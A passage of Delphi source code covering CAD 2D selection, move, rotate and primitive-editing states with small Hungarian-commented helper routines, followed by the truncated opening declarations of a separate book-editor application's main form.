if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_ACCEPT then
begin
IgnoreEvents := True;
try
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
end;
Result := True;
end;
ceMouseUp: if MouseButton = cmbLeft then begin
DrawOSD(Viewport2D, fLastPt);
TmpObj := Viewport2D.PickObject(CurrentViewportPoint, fApertureSize, False, fLastSelectedCtrlPoint);
if (fLastSelectedCtrlPoint > PICK_INBBOX) and Assigned(TmpObj) and (TmpObj is fSelectionFilter) and (fLastSelectedCtrlPoint > PICK_INBBOX) then
begin
Removed := False;
TmpExIter := fSelectedObjs.GetExclusiveIterator;
try
if TmpExIter.Search(TmpObj.ID) <> nil then
begin
TmpExIter.RemoveCurrent;
Removed := True;
end;
finally
TmpExIter.Free;
end;
if not Removed then
fSelectedObjs.Add(TmpObj);
IgnoreEvents := True;
try
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), TmpObj, fLastSelectedCtrlPoint, not Removed);
finally
IgnoreEvents := False;
end;
end;
DrawOSD(Viewport2D, fLastPt);
end;
ceMouseMove: begin
DrawOSD(Viewport2D, fLastPt);
fLastPt := CurrentViewportPoint;
DrawOSD(Viewport2D, fLastPt);
end;
cePaint: begin
DrawOSD(Viewport2D, fLastPt);
if Assigned(fOnSelected) then
begin
IgnoreEvents := True;
TmpIter := fSelectedObjs.GetIterator;
try
TmpIter.First;
while TmpIter.Current <> nil do
begin
fOnSelected(TCAD2DSelectObjectsParam(Param), TObject2D(TmpIter.Current), PICK_NOOBJECT, True);
TmpIter.Next;
end;
finally
TmpIter.Free;
IgnoreEvents := False;
end;
end;
end;
end;
end;
procedure TCAD2DSelectObjects.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCAD2DExtendedSelectObjects.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DExtendedSelectObjects: Invalid param');
Description := 'Use the mouse to select one object, hold shift key pressed to select more than one object.';
with TCAD2DSelectObjectsParam(StateParam) do
DrawOSD(TCADPrg2D(CADPrg).Viewport2D, fLastPt);
end;
function TCAD2DExtendedSelectObjects.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
TmpObj: TObject2D;
TmpExIter: TExclusiveGraphicObjIterator;
TmpIter: TGraphicObjIterator;
Removed: Boolean;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DSelectObjectsParam do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_ACCEPT then
begin
IgnoreEvents := True;
try
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
end;
Result := True;
end;
ceMouseUp: if MouseButton = cmbLeft then begin
DrawOSD(Viewport2D, fLastPt);
TmpObj := Viewport2D.PickObject(CurrentViewportPoint, fApertureSize, False, fLastSelectedCtrlPoint);
if (fLastSelectedCtrlPoint > PICK_INBBOX) and Assigned(TmpObj) and (TmpObj is fSelectionFilter) and (fLastSelectedCtrlPoint > PICK_INBBOX) then
begin
Removed := False;
TmpExIter := fSelectedObjs.GetExclusiveIterator;
try
if TmpExIter.Search(TmpObj.ID) <> nil then
begin
TmpExIter.RemoveCurrent;
Removed := True;
end;
finally
TmpExIter.Free;
end;
if not Removed then
fSelectedObjs.Add(TmpObj);
IgnoreEvents := True;
try
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), TmpObj, fLastSelectedCtrlPoint, not Removed);
finally
IgnoreEvents := False;
end;
// Controlla se il tasto del mouse č premuto.
if Key <> VK_SHIFT then
begin // No allora si comporta come selezione di un solo oggetto.
if Removed then
fSelectedObjs.Add(TmpObj);
IgnoreEvents := True;
try
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), TmpObj, fLastSelectedCtrlPoint, True);
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
NextState := DefaultState;
end;
Result := True;
Exit;
end;
end;
DrawOSD(Viewport2D, fLastPt);
end;
ceMouseMove: begin
DrawOSD(Viewport2D, fLastPt);
fLastPt := CurrentViewportPoint;
DrawOSD(Viewport2D, fLastPt);
end;
cePaint: begin
DrawOSD(Viewport2D, fLastPt);
if Assigned(fOnSelected) then
begin
IgnoreEvents := True;
TmpIter := fSelectedObjs.GetExclusiveIterator;
try
TmpIter.First;
while TmpIter.Current <> nil do
begin
fOnSelected(TCAD2DSelectObjectsParam(Param), TObject2D(TmpIter.Current), PICK_NOOBJECT, True);
TmpIter.Next;
end;
finally
TmpIter.Free;
IgnoreEvents := False;
end;
end;
end;
end;
end;
procedure TCAD2DExtendedSelectObjects.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCAD2DSelectObjectsInAreaParam.Create(AreaMode: TGroupMode; const AfterS: TCADStateClass);
begin
inherited Create(0, AfterS);
fAreaMode := AreaMode;
end;
constructor TCAD2DSelectObjectsInArea.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
var
NewParam: TCADPrgParam;
LastFilt: TObject2DClass;
begin
inherited;
if StateParam is TCADPrgSelectAreaParam then
begin // Return from Select area.
NewParam := TCADPrgSelectAreaParam(Param).CallerParam;
TCADPrgSelectAreaParam(Param).CallerParam := nil;
TCAD2DSelectObjectsInAreaParam(NewParam).fArea := TCADPrgSelectAreaParam(StateParam).Area;
Param.Free;
Param := NewParam; // Set the parameter back to the original.
with CADPrg as TCADPrg2D, Param as TCAD2DSelectObjectsInAreaParam do
begin
LastFilt := Viewport2D.PickFilter;
try
Viewport2D.PickFilter := fSelectionFilter;
Viewport2D.GroupObjects(fSelectedObjs, fArea, fAreaMode, False);
finally
Viewport2D.PickFilter := LastFilt;
end;
if Assigned(fOnSelected) then
fOnSelected(TCAD2DSelectObjectsParam(Param), nil, PICK_NOOBJECT, True);
IgnoreEvents := True;
try
Viewport2D.Refresh;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
NextState := AfterState
else
begin
Param.Free;
Param := nil;
NextState := DefaultState;
end;
end;
end
else if not (StateParam is TCAD2DSelectObjectsInAreaParam) then
Raise ECADSysException.Create('TCAD2DSelectObjectsInArea: Invalid param')
else
begin
NewParam := TCADPrgSelectAreaParam.Create(TCAD2DSelectObjectsInArea, Param);
Param := NewParam; // Set the parameter to the select area param.
NextState := TCADPrgSelectArea;
end;
end;
procedure TCAD2DSelectObjectsInArea.OnStop;
begin
Param.Free;
Param := nil;
end;
{ ---------------------------- }
procedure TCAD2DTransformObjectsParam.TransformObjs(CurrPt: TPoint2D; UseOrto: Boolean);
begin
if UseOrto then
MakeOrto2D(fBasePt, CurrPt);
fCurrTransf := GetTransform(fBasePt, CurrPt);
end;
procedure TCAD2DTransformObjectsParam.DrawWithFrame(Viewport: TCADViewport2D);
begin
with Viewport do
begin
OnScreenCanvas.Canvas.Pen.Assign(RubberPen);
DrawBoundingBox2D(OnScreenCanvas, fBox,
RectToRect2D(OnScreenCanvas.Canvas.ClipRect),
MultiplyTransform2D(fCurrTransf, ViewportToScreenTransform));
end;
end;
procedure TCAD2DTransformObjectsParam.DrawWithoutFrame(Viewport: TCADViewport2D);
var
TmpObj: TObject2D;
TmpIter: TGraphicObjIterator;
begin
TmpIter := fObjs.GetIterator;
with Viewport do
try
TmpObj := TmpIter.First as TObject2D;
while TmpObj <> nil do
begin
TmpObj.ModelTransform := fCurrTransf;
DrawObject2DWithRubber(TmpObj, False);
TmpObj := TmpIter.Next as TObject2D;
end;
finally
TmpIter.Free;
end;
end;
procedure TCAD2DTransformObjectsParam.DrawOSD(Viewport: TCADViewport2D);
begin
Viewport.OnScreenCanvas.Canvas.Pen.Assign(Viewport.RubberPen);
if fUseFrame then
DrawWithFrame(Viewport)
else
DrawWithoutFrame(Viewport);
end;
procedure TCAD2DTransformObjectsParam.ConfirmTransform;
var
TmpObj: TObject2D;
TmpIter: TExclusiveGraphicObjIterator;
begin
TmpIter := fObjs.GetExclusiveIterator;
try
TmpObj := TmpIter.First as TObject2D;
while TmpObj <> nil do
begin
TmpObj.ModelTransform := fCurrTransf;
TmpObj.ApplyTransform;
TmpObj := TmpIter.Next as TObject2D;
end;
finally
TmpIter.Free;
end;
end;
procedure TCAD2DTransformObjectsParam.CancelTransform;
var
TmpObj: TObject2D;
TmpIter: TExclusiveGraphicObjIterator;
begin
TmpIter := fObjs.GetExclusiveIterator;
try
TmpObj := TmpIter.First as TObject2D;
while TmpObj <> nil do
begin
TmpObj.ModelTransform := IdentityTransf2D;
TmpObj := TmpIter.Next as TObject2D;
end;
finally
TmpIter.Free;
end;
end;
constructor TCAD2DTransformObjectsParam.Create(Objs: TGraphicObjList; const AfterS: TCADStateClass);
var
TmpObj: TObject2D;
TmpIter: TGraphicObjIterator;
begin
inherited Create(AfterS);
fObjs := TGraphicObjList.Create;
fObjs.FreeOnClear := False;
fCurrTransf := IdentityTransf2D;
if Objs.Count = 0 then
Raise ECADSysException.Create('TCAD2DTransformObjectsParam: Invalid list');
// Recupera il BBox a conferma la trasformazione Obj corrente.
fUseFrame := Objs.Count > 1;
TmpIter := Objs.GetIterator;
try
TmpObj := TmpIter.First as TObject2D;
fBox := TmpObj.Box;
while TmpObj <> nil do
begin
fObjs.Add(TmpObj);
TmpObj.ApplyTransform;
fBox := BoxOutBox2D(fBox, TmpObj.Box);
TmpObj := TmpIter.Next as TObject2D;
end;
finally
TmpIter.Free;
end;
end;
destructor TCAD2DTransformObjectsParam.Destroy;
begin
fObjs.Free;
inherited;
end;
function TCAD2DMoveObjectsParam.GetTransform(BasePt, CurrPt: TPoint2D): TTransf2D;
begin
Result := Translate2D(CurrPt.X - BasePt.X, CurrPt.Y - BasePt.Y);
end;
function TCAD2DRotateObjectsParam.GetTransform(BasePt, CurrPt: TPoint2D): TTransf2D;
var
A: TRealType;
begin
A := ArcTan2(CurrPt.Y - BasePt.Y, CurrPt.X - BasePt.X);
Result := Translate2D(-BasePt.X, -BasePt.Y);
Result := MultiplyTransform2D(Result, Rotate2D(A));
Result := MultiplyTransform2D(Result, Translate2D(BasePt.X, BasePt.Y));
end;
constructor TCAD2DTransformObjects.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
begin
inherited;
if not (StateParam is TCAD2DTransformObjectsParam) then
Raise ECADSysException.Create('TCAD2DTransformObjects: Invalid param');
Description := 'Select the base point for the transformation.';
with TCAD2DTransformObjectsParam(StateParam) do
DrawWithFrame(TCADPrg2D(CADPrg).Viewport2D);
end;
function TCAD2DTransformObjects.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DTransformObjectsParam do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
CancelTransform;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_ACCEPT then
begin
ConfirmTransform;
IgnoreEvents := True;
try
Viewport2D.Repaint;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
CurrPoint2D := CurrentViewportSnappedPoint;
if fNPoint = 0 then
begin
fBasePt := CurrPoint2D;
Description := 'Move the mouse to modify the transformation and press the mouse to apply it.';
end
else
begin
ConfirmTransform;
IgnoreEvents := True;
try
Viewport2D.Repaint;
finally
IgnoreEvents := False;
end;
if Assigned(AfterState) then
begin
NextState := AfterState;
Result := True;
Exit;
end;
Param.Free;
Param := nil;
Result := True;
NextState := DefaultState;
Exit;
end;
DrawOSD(Viewport2D);
Inc(fNPoint);
end;
ceMouseMove: if fNPoint > 0 then begin
DrawOSD(Viewport2D);
CurrPoint2D := CurrentViewportSnappedPoint;
TransformObjs(CurrPoint2D, UseOrto);
DrawOSD(Viewport2D);
end;
cePaint: begin
DrawOSD(Viewport2D);
end;
end;
end;
procedure TCAD2DTransformObjects.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCAD2DMoveSelectedObjects.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
var
NewParam: TCAD2DTransformObjectsParam;
TmpList: TGraphicObjList;
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DMoveSelectedObjects: Invalid param');
TmpList := TCAD2DSelectObjectsParam(StateParam).SelectedObjects;
if TmpList.Count = 0 then
begin
Param.Free;
Param := nil;
NextState := CADPrg.DefaultState;
Exit;
end;
NewParam := TCAD2DMoveObjectsParam.Create(TmpList, nil);
StateParam.Free;
Param := NewParam;
CADPrg.CurrentOperation := TCAD2DMoveSelectedObjects;
NextState := TCAD2DTransformObjects;
end;
constructor TCAD2DRotateSelectedObjects.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
var
NewParam: TCAD2DTransformObjectsParam;
TmpList: TGraphicObjList;
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DRotateSelectedObjects: Invalid param');
TmpList := TCAD2DSelectObjectsParam(StateParam).SelectedObjects;
if TmpList.Count = 0 then
begin
Param.Free;
Param := nil;
NextState := CADPrg.DefaultState;
Exit;
end;
NewParam := TCAD2DRotateObjectsParam.Create(TmpList, nil);
StateParam.Free;
Param := NewParam;
CADPrg.CurrentOperation := TCAD2DRotateSelectedObjects;
NextState := TCAD2DTransformObjects;
end;
constructor TCAD2DEditPrimitiveParam.Create(Prim: TPrimitive2D; ApertureSize: Word);
begin
inherited Create(nil);
fOriginalPrimitive := Prim;
fCurrentPrimitive := CADSysFindClassByName(fOriginalPrimitive.ClassName).Create(0) as TPrimitive2D;
if not Assigned(fCurrentPrimitive) then
Raise ECADSysException.Create('TCAD2DEditPrimitive: Only registered classes are allowed');
fCurrentPrimitive.Assign(fOriginalPrimitive);
fApertureSize := ApertureSize;
fCurrentCtrlPt := -1;
end;
destructor TCAD2DEditPrimitiveParam.Destroy;
begin
fCurrentPrimitive.Free;
inherited;
end;
procedure TCAD2DEditPrimitiveParam.SetCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
var
TmpDist: TRealType;
TmpAp: TRealType;
begin
with Viewport do
begin
TmpAp := GetAperture(fApertureSize);
fCurrentCtrlPt := fCurrentPrimitive.OnMe(Pt, TmpAp, TmpDist);
end;
end;
procedure TCAD2DEditPrimitiveParam.AddCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
var
TmpCPt: TPoint2D;
begin
if fCurrentCtrlPt > -1 then
begin
DrawModifiedPrim(Viewport);
// Porto il punto da coordinate mondo a coordinate oggetto
// perche' i punti di controllo sono in quest'ultimo sistema.
TmpCPt := Viewport.WorldToObject(fCurrentPrimitive, Pt);
fCurrentPrimitive.Points.Insert(fCurrentCtrlPt, TmpCPt);
DrawModifiedPrim(Viewport);
end;
end;
procedure TCAD2DEditPrimitiveParam.UnSetCtrlPoint;
begin
fCurrentCtrlPt := -1;
end;
procedure TCAD2DEditPrimitiveParam.AcceptEdited;
begin
fOriginalPrimitive.Assign(fCurrentPrimitive);
end;
procedure TCAD2DEditPrimitiveParam.MoveCtrlPoint(Viewport: TCADViewport2D; Pt: TPoint2D);
var
TmpCPt: TPoint2D;
begin
if fCurrentCtrlPt > -1 then
begin
DrawModifiedPrim(Viewport);
// Porto il punto da coordinate mondo a coordinate oggetto
// perche' i punti di controllo sono in quest'ultimo sistema.
TmpCPt := Viewport.WorldToObject(fCurrentPrimitive, Pt);
fCurrentPrimitive.Points[fCurrentCtrlPt] := TmpCPt;
DrawModifiedPrim(Viewport);
end;
end;
procedure TCAD2DEditPrimitiveParam.DrawOSD(Viewport: TCADViewport2D; Pt: TPoint2D; FirstTime: Boolean);
var
ScrPt: TPoint;
begin
with Viewport do
begin
OnScreenCanvas.Canvas.Pen.Assign(RubberPen);
if not FirstTime then
begin
ScrPt := Point2DToPoint(ViewportToScreen(fLastPt));
OnScreenCanvas.Canvas.Polyline([Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize)]);
end;
fLastPt := Pt;
ScrPt := Point2DToPoint(ViewportToScreen(fLastPt));
OnScreenCanvas.Canvas.Polyline([Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y - fApertureSize),
Point(ScrPt.X + fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y + fApertureSize),
Point(ScrPt.X - fApertureSize, ScrPt.Y - fApertureSize)]);
end;
end;
procedure TCAD2DEditPrimitiveParam.DrawModifiedPrim(Viewport: TCADViewport2D);
begin
with Viewport do
DrawObject2DWithRubber(fCurrentPrimitive, True);
end;
constructor TCAD2DEditPrimitive.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
var
NewParam: TCAD2DEditPrimitiveParam;
begin
inherited;
if not (StateParam is TCADPrgParam) or not (TCADPrgParam(StateParam).UserObject is TPrimitive2D) then
Raise ECADSysException.Create('TCAD2DEditPrimitive: Invalid param');
Description := 'Select a Control point of the primitive';
NewParam := TCAD2DEditPrimitiveParam.Create(TPrimitive2D(TCADPrgParam(StateParam).UserObject), 5);
with TCADPrg2D(CADPrg) do
begin
Viewport2D.Refresh;
NewParam.DrawOSD(Viewport2D, Point2D(0, 0), True);
NewParam.DrawModifiedPrim(Viewport2D);
end;
Param := NewParam;
TCADPrg2D(CADPrg).SnapOriginPoint := Point2D(MaxCoord, MaxCoord);
end;
function TCAD2DEditPrimitive.OnEvent(Event: TCADPrgEvent; MouseButton: TCS4MouseButton; Shift: TShiftState; Key: Word;
var NextState: TCADStateClass): Boolean;
var
CurrPoint2D: TPoint2D;
begin
Result := inherited OnEvent(Event, MouseButton, Shift, Key, NextState);
if not Assigned(Param) then
Exit;
with CADPrg as TCADPrg2D, Param as TCAD2DEditPrimitiveParam do
case Event of
ceUserDefined:
if Key = CADPRG_CANCEL then
begin
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end
else if Key = CADPRG_ACCEPT then
begin
AcceptEdited;
IgnoreEvents := True;
try
Viewport2D.Repaint;
finally
IgnoreEvents := False;
end;
Param.Free;
Param := nil;
NextState := DefaultState;
Result := True;
end;
ceMouseDown: if MouseButton = cmbLeft then begin
SetCtrlPoint(Viewport2D, CurrentViewportPoint);
if CurrentCtrlPt >= 0 then
Description := 'Move the control point and release the mouse.';
end;
ceMouseDblClick: if (MouseButton = cmbLeft) and (fCurrentPrimitive.Points.GrowingEnabled) then begin
SetCtrlPoint(Viewport2D, CurrentViewportPoint);
if CurrentCtrlPt >= 0 then
begin
CurrPoint2D := CurrentViewportSnappedPoint;
AddCtrlPoint(Viewport2D, CurrPoint2D);
end;
end;
ceMouseUp: if MouseButton = cmbLeft then begin
UnSetCtrlPoint;
Description := 'Select a Control point of the primitive';
end;
ceMouseMove: begin
CurrPoint2D := CurrentViewportSnappedPoint;
DrawOSD(Viewport2D, CurrentViewportPoint, False);
MoveCtrlPoint(Viewport2D, CurrPoint2D);
DrawOSD(Viewport2D, CurrentViewportPoint, False);
end;
cePaint: begin
DrawOSD(Viewport2D, CurrentViewportPoint, True);
DrawModifiedPrim(Viewport2D);
end;
end;
end;
procedure TCAD2DEditPrimitive.OnStop;
begin
Param.Free;
Param := nil;
end;
constructor TCAD2DEditSelectedPrimitive.Create(const CADPrg: TCADPrg; const StateParam: TCADPrgParam; var NextState: TCADStateClass);
var
NewParam: TCADPrgParam;
NewObj: TObject2D;
TmpIter: TGraphicObjIterator;
begin
inherited;
if not (StateParam is TCAD2DSelectObjectsParam) then
Raise ECADSysException.Create('TCAD2DEditSelectedObjects: Invalid param');
with TCAD2DSelectObjectsParam(StateParam) do
begin
TmpIter := SelectedObjects.GetIterator;
try
NewObj := TmpIter.First as TObject2D;
finally
TmpIter.Free;
end;
if not (NewObj is TPrimitive2D) then
Raise ECADSysException.Create('TCAD2DEditSelectedObjects: Invalid param');
NewParam := TCADPrgParam.Create(nil);
NewParam.UserObject := NewObj;
end;
StateParam.Free;
Param := NewParam;
CADPrg.CurrentOperation := TCAD2DEditSelectedPrimitive;
NextState := TCAD2DEditPrimitive;
end;
// ======== Saját eljárások ============ //
(*
Kigyüjti a paraméterben adott réteg feliratait és ID-it a kapcsolt
objektumokba.
Ha LayerID <0 (=-1), akkor az összes feliratot.
Pl.
ComboBox1.Items.Assign(GetListOfLayer(LocalCAD,10));
*)
function GetListOfLayer(var CADcmp: TCADCmp2D; LayerID: integer):TStringList;
var grObj: TGraphicObject;
i,k,j: integer;
goIter : TGraphicObjIterator;
begin
Try
Result := TStringList.Create;
Result.BeginUpdate;
goIter := CADcmp.ObjectsIterator;
With goIter do begin
Try
If Count>0 then begin
k := 0; j := 0;
grObj:=First;
repeat
If (grObj.Layer=LayerID) or (LayerID<0) then
If grObj is TJustifiedVectText2D then
begin
Inc(k);
Result.AddObject((grObj as TJustifiedVectText2D).Text,TIndexObj.Create(grObj.ID));
end;
If grObj is TLine2D then
Inc(j);
grObj:=Next;
until grObj=nil;
end;
except
goIter.Destroy;
Raise;
end;
end;
finally
If goIter<>nil then goIter.Destroy;
Result.EndUpdate;
end;
end;
(*
Megkeresi a paraméterben megadott feliratot,
ha nem talál akkor nil értékkel tér vissza.
Pl.
ComboBox1.Items.Assign(GetListOfLayer(LocalCAD,10));
*)
function FindText(var CADcmp: TCADCmp2D; SearchText: string; LayerID: integer):TGraphicObject;
var grObj: TGraphicObject;
goIter : TGraphicObjIterator;
begin
Try
Result := nil;
goIter := CADcmp.ObjectsIterator;
With goIter do begin
Try
If Count>0 then begin
grObj:=First;
repeat
If (grObj.Layer=LayerID) or (LayerID<0) then
If grObj is TJustifiedVectText2D then
If (grObj as TJustifiedVectText2D).Text = SearchText then begin
Result := grObj;
break;
end;
grObj:=Next;
until grObj=nil;
end;
except
goIter.Destroy;
Raise;
end;
end;
finally
goIter.Destroy;
end;
end;
(*
Kigyüjti a source blokkok neveit egy TStringList-be
ha nem talál akkor nil értékkel tér vissza.
Pl.
ComboBox1.Items.Assign(GetSourceBockNames(LocalCAD));
*)
function GetSourceBockNames(var CADcmp: TCADCmp2D):TStringlist;
var grObj: TGraphicObject;
goIter : TGraphicObjIterator;
begin
Try
Result := TStringlist.Create;
goIter := CADcmp.SourceBlocksIterator;
With goIter do begin
Try
If Count>0 then begin
grObj:=First;
repeat
If (grObj as TSourceBlock2D).IsLibraryBlock then
Result.Add(String((grObj as TSourceBlock2D).Name));
grObj:=Next;
until grObj=nil;
end;
except
goIter.Destroy;
Raise;
end;
end;
finally
goIter.Destroy;
end;
end;
(*
Az ID-vel jelölt graf. Objetumot a ViewPort középpontjába mozgatja
*)
procedure ObjToViewCent(CADcmp: TCADCmp2D; CADPrg: TCADPrg; ID: integer);
var t2d: TObject2d;
t,tsz : TRect2d;
w,h: TRealType;
begin
Try
t2d := CADcmp.GetObject(ID);
t := CADPrg.ViewPort.VisualRect;
tsz := (t2d as TObject2D).Box;
w := t.Right - t.Left;
h := t.Bottom - t.Top;
CADPrg.ViewPort.Visualrect:=Rect2d(tsz.left-w/2,tsz.bottom-h/2,
tsz.left+w/2,tsz.bottom+h/2);
except
raise;
end;
end;
(*
Az WX,WY koordinátákkal jelölt pontot a ViewPort középpontjába mozgatja
*)
procedure MoveToCent(CADViewPort: TCADViewPort2D; WX, WY : real);
var t2d: TObject2d;
t,tsz : TRect2d;
w,h: TRealType;
begin
Try
t := CADViewPort.VisualRect;
w := t.Right - t.Left;
h := t.Bottom - t.Top;
CADViewPort.Visualrect:=Rect2d(WX-w/2,WY-h/2,WX+w/2,WY+h/2);
except
raise;
end;
end;
end.
|
unit Main;
{$J+}
{$I ipCompiler.inc}
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, mwHighlighter, mwCustomEdit, hkBookSyn, StdCtrls, ExtCtrls, ComCtrls, ipPlacemnt, Menus, StdActns, ActnList,
ImgList, TB2Item, TB2Dock, TB2Toolbar, ipMainMenu, mwGeneralSyn, ipBookSyn, SmtpProt, ipPopupMenu, ExtDlgs, JPEG, GIFImage, PNGImage, AbBase, AbBrowse, AbZBrows, AbZipper, ipControls, ipButtons,
mwCompletionProposal, ipHTMLHelp, AbUnzper;
type
TSettings = record
Ident: string;
Password: string;
PhoneStyle: boolean;
JCHost: string;
JCPort: integer;
end;
TfmMain = class(TipHTMLHelpForm)
pnBook: TPanel;
pnEditor: TPanel;
Editor: TmwCustomEdit;
StaticText2: TStaticText;
sbMain: TStatusBar;
Splitter1: TSplitter;
Storage: TipFormStorage;
MainMenu: TipMainMenu;
miFile: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
ActionList: TActionList;
ImageList: TImageList;
acFileNew: TAction;
acFileOpen: TAction;
acFileSave: TAction;
acFileSaveAs: TAction;
acFileExit: TAction;
Bevel1: TBevel;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
OpenDialog: TOpenDialog;
SaveDialog: TSaveDialog;
acCompilerSettings: TAction;
miView: TMenuItem;
N9: TMenuItem;
TBDock1: TTBDock;
TBToolbar1: TTBToolbar;
TBItem1: TTBItem;
TBItem2: TTBItem;
TBItem3: TTBItem;
TBItem5: TTBItem;
acRefresh: TAction;
N10: TMenuItem;
N11: TMenuItem;
acAbout: TAction;
miHelp: TMenuItem;
miHelpAbout: TMenuItem;
BookSyn: TipBookSyn;
acBackground: TAction;
ColorDialog: TColorDialog;
N1: TMenuItem;
N8: TMenuItem;
acEditorSettings: TAction;
N12: TMenuItem;
acPickColor: TAction;
SMTP: TSmtpCli;
acSend: TAction;
TBToolbar2: TTBToolbar;
acBold: TAction;
acItalic: TAction;
acUnderline: TAction;
acBig: TAction;
acSmall: TAction;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
TBDock2: TTBDock;
TBDock3: TTBDock;
TBDock4: TTBDock;
fdEditor: TFindDialog;
rdEditor: TReplaceDialog;
acFind: TAction;
acFindNext: TAction;
acReplace: TAction;
acSelectAll: TAction;
acCut: TAction;
acCopy: TAction;
acPaste: TAction;
acUndo: TAction;
acRedo: TAction;
N21: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
N18: TMenuItem;
N25: TMenuItem;
N26: TMenuItem;
N27: TMenuItem;
N28: TMenuItem;
TBSeparatorItem7: TTBSeparatorItem;
TBItem9: TTBItem;
TBItem16: TTBItem;
TBSeparatorItem2: TTBSeparatorItem;
TBItem17: TTBItem;
TBItem18: TTBItem;
TBItem19: TTBItem;
pmEditor: TipPopupMenu;
N29: TMenuItem;
N30: TMenuItem;
N31: TMenuItem;
N32: TMenuItem;
N33: TMenuItem;
N34: TMenuItem;
N35: TMenuItem;
TBToolbar3: TTBToolbar;
TBItem20: TTBItem;
TBSeparatorItem5: TTBSeparatorItem;
TBItem21: TTBItem;
TBItem22: TTBItem;
acPicture: TAction;
OpenPictureDialog: TOpenPictureDialog;
N36: TMenuItem;
TBItem4: TTBItem;
N37: TMenuItem;
N38: TMenuItem;
acColor: TAction;
N39: TMenuItem;
acAlignLeft: TAction;
acAlignCenter: TAction;
acAlignRight: TAction;
acAlignPoet: TAction;
N40: TMenuItem;
N41: TMenuItem;
N42: TMenuItem;
N43: TMenuItem;
N44: TMenuItem;
stStatus: TStaticText;
N45: TMenuItem;
N46: TMenuItem;
TBToolbar4: TTBToolbar;
TBItem24: TTBItem;
TBItem25: TTBItem;
TBItem26: TTBItem;
TBItem27: TTBItem;
TBSeparatorItem8: TTBSeparatorItem;
TBItem28: TTBItem;
TBItem29: TTBItem;
TBItem30: TTBItem;
TBSeparatorItem9: TTBSeparatorItem;
TBSeparatorItem10: TTBSeparatorItem;
TBItem31: TTBItem;
TBItem32: TTBItem;
TBItem33: TTBItem;
N24: TMenuItem;
N47: TMenuItem;
N48: TMenuItem;
N49: TMenuItem;
Zip: TAbZipper;
pnImages: TPanel;
lvImages: TListView;
Panel1: TPanel;
ipButton1: TipButton;
ipButton2: TipButton;
acAdd: TAction;
acDelete: TAction;
splImages: TSplitter;
ilImages: TImageList;
tmLoad: TTimer;
N50: TMenuItem;
CompletionProposal: TMwCompletionProposal;
StaticText1: TStaticText;
HTMLHelp: TipHTMLHelp;
acHelp: TAction;
N51: TMenuItem;
acHelp1: TMenuItem;
TBItem6: TTBItem;
acVote: TAction;
acVictor: TAction;
N52: TMenuItem;
N53: TMenuItem;
